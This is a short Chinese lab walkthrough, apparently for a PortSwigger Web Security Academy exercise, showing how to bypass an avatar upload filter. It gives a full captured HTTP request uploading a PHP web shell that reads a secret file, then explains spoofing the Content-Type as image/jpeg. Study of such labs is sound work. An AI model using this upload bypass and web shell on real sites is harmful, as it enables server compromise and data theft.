首先上传一个正常头像。

 

 之后，上传木马文件，并抓包

POST /my-account/avatar HTTP/1.1
Host: ac4f1f7d1eaa6cd2c0d80622001b00f9.web-security-academy.net
Cookie: session=jk7evQVbgNhnuZ8OSROOByDS1epImo5L
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9366461823358637852847582934
Content-Length: 528
Origin: https://ac4f1f7d1eaa6cd2c0d80622001b00f9.web-security-academy.net
Referer: https://ac4f1f7d1eaa6cd2c0d80622001b00f9.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------9366461823358637852847582934
Content-Disposition: form-data; name="avatar"; filename="eval.php"
Content-Type: application/octet-stream

 <?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------9366461823358637852847582934
Content-Disposition: form-data; name="user"

wiener
-----------------------------9366461823358637852847582934
Content-Disposition: form-data; name="csrf"

zbmggAivgbQgkABY84GKZalPOKgfd9oY
-----------------------------9366461823358637852847582934--

将Content-Type: application/octet-stream修改为Content-Type: image/jpeg，之后发送

 

 这样就上传成功了。

再刷新页面，加载头像时，进行抓包，将头像的文件名修改为我们上传的webshell文件，就能够利用成功。